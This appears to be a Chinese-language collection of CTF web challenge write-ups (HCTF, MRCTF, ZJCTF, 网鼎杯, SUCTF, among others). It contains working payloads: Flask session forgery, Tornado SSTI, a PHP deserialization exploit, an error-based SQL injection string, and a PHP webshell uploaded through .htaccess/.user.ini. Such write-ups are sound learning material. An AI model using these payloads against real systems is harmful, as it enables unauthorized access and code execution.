HCTF 2018【admin】
进来是登录注册,随便注册一个进来,把每个页面简单看一下,在/change页面发现提示:
这个连接已经失效了,在别人的wp里面找到了源码:
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response
from flask_login import logout_user, LoginManager, current_user, login_user
from app import app, db
from config import Config
from app.models import User
from forms import RegisterForm, LoginForm, NewpasswordForm
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
from io import BytesIO
from code import get_verify_code
@app.route('/code')
def get_code():
image, code = get_verify_code()
# 图片以二进制形式写入
buf = BytesIO()
image.save(buf, 'jpeg')
buf_str = buf.getvalue()
# 把buf_str作为response返回前端,并设置首部字段
response = make_response(buf_str)
response.headers['Content-Type'] = 'image/gif'
# 将验证码字符串储存在session中
session['image'] = code
return response
@app.route('/')
@app.route('/index')
def index():
return render_template('index.html', title = 'hctf')
@app.route('/register', methods = ['GET', 'POST'])
def register():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = RegisterForm()
if request.method == 'POST':
name = strlower(form.username.data)
if session.get('image').lower() != form.verify_code.data.lower():
flash('Wrong verify code.')
return render_template('register.html', title = 'register', form=form)
if User.query.filter_by(username = name).first():
flash('The username has been registered')
return redirect(url_for('register'))
user = User(username=name)
user.set_password(form.password.data)
db.session.add(user)
db.session.commit()
flash('register successful')
return redirect(url_for('login'))
return render_template('register.html', title = 'register', form = form)
@app.route('/login', methods = ['GET', 'POST'])
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)
@app.route('/logout')
def logout():
logout_user()
return redirect('/index')
@app.route('/change', methods = ['GET', 'POST'])
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)
@app.route('/edit', methods = ['GET', 'POST'])
def edit():
if request.method == 'POST':
flash('post successful')
return redirect(url_for('index'))
return render_template('edit.html', title = 'edit')
@app.errorhandler(404)
def page_not_found(error):
title = unicode(error)
message = error.description
return render_template('errors.html', title=title, message=message)
def strlower(username):
username = nodeprep.prepare(username)
return username一个flask写的网站。猜测是session伪造。 我们先把session试着揭秘一下:
PS D:\webtool\flask-session-cookie-manager> python .\flask_session_cookie_manager3.py decode -c'.eJw9kMuKwkAQRX9lqLWLpJPZCC6UPDBQHRLaaao24iOadNIOREVt8d-ncUBqeS6nbtUT1oexObcwvYzXZgLrbg_TJ3xtYQooqpg1OjYUS123ZDEivQxKtbuRO4aeWEzoXubVtxRLgZo7dNVNitqyojupYWAj_SwsufSBBgMyS0eutqVexSTSAJOfQQrZcjIXbHZOJkVLqnKcp67UaUhm35NqhzLxGbt6oODBd4hLlfndWeszosxxBq8J7M7jYX357ZvT5wROso5zCtAVvVRFh4oE59LrvEiRk2bvqy0G1Bix6gXpKuL57K3r7ObYfEx1VvSb6p-cNtYDCEUEE7iem_H9NQgDeP0BR_9rEw.aUgE_g.I9fmsEi7JKpAhocyhofr8P7NaCE'
#b'{"_fresh":true,"_id":{" b":"M2Q4ZWMzZjY4NWRhYmM3YWI0OTcwYzg1MzZmMDYxOGQ5N2I2MWZiMzQwN2RmZTYxYTllZjNjNjBmYzEyMjM0YjIzYzRmOWU4Y2E0MDVlN2NhZDA2ZjczNDJhYTQzZGEzOWE1YjdkYThlODNhZmUyM2ZlYWI4OTFmMDFhOWE2OGM="},"csrf_token":{" b":"ZDFiZGY0MzJkNTJiMTY2ZGNlODM2ZTYzNjdmYzBlMWM3ZTk2YWQ3ZA=="},"image":{" b":"RFJkaQ=="},"name":"123","user_id":"10"}'
这里不知道那里找secret_key,看wp原来是源码里面还有一个config.py文件里面有key泄露
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'拿到key之后直接用工具伪造admin的session就好了:
PS D:\webtool\flask-session-cookie-manager> python .\flask_session_cookie_manager3.py decode -s 'ckj123' -c '.eJw9kMuKwkAQRX9lqLWLpJPZCC6UPDBQHRLaaao24iOadNIOREVt8d-ncUBqeS6nbtUT1oexObcwvYzXZgLrbg_TJ3xtYQooqpg1OjYUS123ZDEivQxKtbuRO4aeWEzoXubVtxRLgZo7dNVNitqyojupYWAj_SwsufSBBgMyS0eutqVexSTSAJOfQQrZcjIXbHZOJkVLqnKcp67UaUhm35NqhzLxGbt6oODBd4hLlfndWeszosxxBq8J7M7jYX357ZvT5wROso5zCtAVvVRFh4oE59LrvEiRk2bvqy0G1Bix6gXpKuL57K3r7ObYfEx1VvSb6p-cNtYDCEUEE7iem_H9NQgDeP0BR_9rEw.aUgE_g.I9fmsEi7JKpAhocyhofr8P7NaCE'
# {'_fresh': True, '_id': b'3d8ec3f685dabc7ab4970c8536f0618d97b61fb3407dfe61a9ef3c60fc12234b23c4f9e8ca405e7cad06f7342aa43da39a5b7da8e83afe23feab891f01a9a68c', 'csrf_token': b'd1bdf432d52b166dce836e6367fc0e1c7e96ad7d', 'image': b'DRdi', 'name': '123', 'user_id': '10'}
PS D:\webtool\flask-session-cookie-manager> python .\flask_session_cookie_manager3.py encode -s 'ckj123' -t "{'_fresh': True, '_id': b'3d8ec3f685dabc7ab4970c8536f0618d97b61fb3407dfe61a9ef3c60fc12234b23c4f9e8ca405e7cad06f7342aa43da39a5b7da8e83afe23feab891f01a9a68c', 'csrf_token': b'd1bdf432d52b166dce836e6367fc0e1c7e96ad7d', 'image': b'DRdi', 'name': 'admin', 'user_id': '10'}"
# .eJw9kE2LwkAMhv_KkrOHOnYvggelH1jIlJZxh-Qi1VbbaceFqqgj_vcdXJAcn5cnb_KE7WFszi3ML-O1mcC2q2H-hK8dzAFFEbJGx4ZCqcuWLM5Ir4Nc7W_kjlNPLEZ0z9PiW4q1QM0duuImRWlZ0Z3UMLCRflaWXPxAgwGZtSNX2lxvQhJxgNHPIIVsOVoKNnsno6wlVThOY5freEqm7km1Qx75jN08UPDgO4S5SvzupPUZkae4gNcE9ufxsL389s3pcwJHSccpBeiyXqqsQ0WCU-l1XqTISVP7aqsBNc5Y9YJ0MePl4q3rbHVsPqYyyfqq-CenynoAVW27E0zgem7G999gGsDrDzDLbIY.aUgK9w.c7LjfT6NKFseSVv7kVt1VSmMpbc
拿到session后访问/index即可

护网杯 2018【easy_tornado】
打开是三个路由

/flag.txt<br>flag in /fllllllllllllag
/hints.txt<br>md5(cookie_secret+md5(filename))
/welcome.txt<br>render
失败的尝试:
以为是直接php的md5伪造
<?php
$cookie_secret='tornado';
$filename="hints.txt";
echo md5($cookie_secret.md5($filename));试了一下不知道cookie_secret是啥放弃了,原来根本不是php…
后来注意到题目是easy_tornado,会不会是什么提示?
去搜了一下python中有一个tornado模板,可能存在ssti
尝试改变一下filehash参数,出现报错页面,试一下ssti
果然可以解析,我们去学习一下tornado的ssti
简单理解handler.settings即可,可以把它理解为tornado模板中内置的环境配置信息名称,通过handler.settings可以访问到环境配置的一些信息,看到tornado模板基本上可以通过handler.settings一把梭。
这里是用到这个知识点,并不是纯粹的ssti
通过配置信息得到了我们需要的cookie_secret
写个脚本加密一下,就好了
import hashlib
def md5(s: str) -> str:
return hashlib.md5(s.encode()).hexdigest()
cookie_secret = "b8675e6e-563d-4781-baa1-5168eb2c268c"
filename = "/fllllllllllllag"
result = md5(cookie_secret + md5(filename))
print(result)
MRCTF2020【Ez_bypass】
进来给了源代码:
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
比较简单的php特性题
- 第一关:
if (md5($id) === md5($gg) && $id !== $gg)第一想法是数组绕过,但是这只在低版本有效,因为我们数组绕过的原理就是md5函数无法处理数组,会返回null
但是高版本(7.3之前还行)中md5处理数组时会直接报错
所以我们这里只能md5强碰撞,强行找到md5值相等的不同字符串
2. 第二关:
if (!is_numeric($passwd))
{
if($passwd==1234567)这里要同时满足两个条件
我们利用php弱比较中非数字字符串和数字比较时会解析到非数字字符之前,也就是1234567a会解析为1234567再比较
最后payload:
POST /?gg=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&id=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2 HTTP/1.1
host:411f6e29-5c7b-4160-8254-13223d134fa0.node5.buuoj.cn:81
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
passwd=1234567aZJCTF 2019【NiZhuanSiWei】
# index.php
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{ highlight_file(__FILE__);
}
?># useless.php
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?> # flag.php
<br>oh u find it </br>
<!--but i cant give it to u now-->
<?php
if(2===3){
return ("flag_is_here");
}
?>首先需要读到$test的内容是welcome to the zjctf
这个我们怎么控制的?
这里可以直接用伪协议让他读取一个虚拟文件
?text=data://text/plain,welcome to the zjctf最后是一个反序列化的利用,利用反序列化去读取flag.php在打开源码可得flag exp:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$flag = new Flag();
$flag->file = "flag.php";
echo serialize($flag);
(好像除了index.php之外都并不是直接给的,但是我们也只需要利用php伪协议去读取就好了)
极客大挑战 2019【HardSQL】
一个报错注入,空格被过滤了,所以只能用括号来构造payload(使用括号一点要注意一些sql语法的问题)
=被过滤了,所以可以用like绕过
?username=1&password=2'or(extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))))%23substr被过滤了,但是报错又只能显示一点数量的内容,我们这里用一个小技巧
right函数:从右边显示内容,这样可以得到另外的flag

网鼎杯 2020 青龙组【AreUSerialz】
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}php反序列化的题,考了一些小知识点 首先稍微看一下代码逻辑:
- 首先我们的字符串想被反序列化需要经过一个
is_valid()函数,他的作用是不允许出现不可见字符,但是注意到类的属性都是protect类型,反序列化后都是不可见的 - 经过waf之后就是普通的反序列化,我们需要的是read模式读取flag(本来想试试能不能写马,都是destruct的时候会把content替换为空,所以不行)
我们开始构造exp:
首先是waf绕过,对于反序列化时的保护属性问题
大概从php7.3开始有了变化,
老版本php,有原protect属性,又反序列化了一个同名的public属性,此时会出现两个不同属性
而新版本php遇到这种情况会是只有一个protect属性,也就是对属性类型不敏感
利用这个特性我们可以直接用public属性去改protect属性了(private也可以)
还有就是
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}反序列化后会先把模式改为写,我们只需要传入的op不是字符串而是数字即可绕过if判断
因为if中使用的强比较会比较数据类型
剩下就是利用php伪协议base64加密读取`flag.php 所以最后exp:
<?php
class FileHandler {
public $op;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content="Hello World!";
}
$fileHandler = new FileHandler();
echo (serialize($fileHandler));GXYCTF2019【BabyUpload】
受不了这题 Content-type只能jpge,png都不行 这还没啥,文件大小还有限制,而且允许的大小还挺小的,搞得我以为正常的jpg也不行。。。。。。
上传一个htaccess文件,配合
<script language='php'></script>
即可上传一句话木马,然后蚁剑连接,在根目录找到flag
这题目真的是,想直接system命令执行他也给禁了 报错:
Warning: system() has been disabled for security reasons
然后只能蚁剑连接,连上想虚拟终端执行命令也不行,有disable_function,差点以为还要绕过,结果直接查文件又能找到。
SUCTF 2019【CheckIn】
又踩个大坑: .user.ini文件中
auto_prepend_file= .user.ini
#<?php @eval('$_POST["cmd"]');> auto_prepend_file后面一定不要加空格…
文件上传,waf有:
- 不允许文件名内容含
<? - 不允许文件后缀为`php
- 检查文件头
文件名检查我们可以想到用配置文件绕过
文件内容我们用其他php标签绕过 <script language='php'></script>
文件头只要加一个GIF98a
上传:
GIF98a
auto_prepend_file = .user.ini
#<script language='php'>system($_GET['cmd']);</script>执行php文件前包含本身,然后通过注释写入php代码,这样就可以直接执行了
注意,这里能用.user.ini的原因是上传目录中存在index.php文件,如果不存在那也不会自动包含
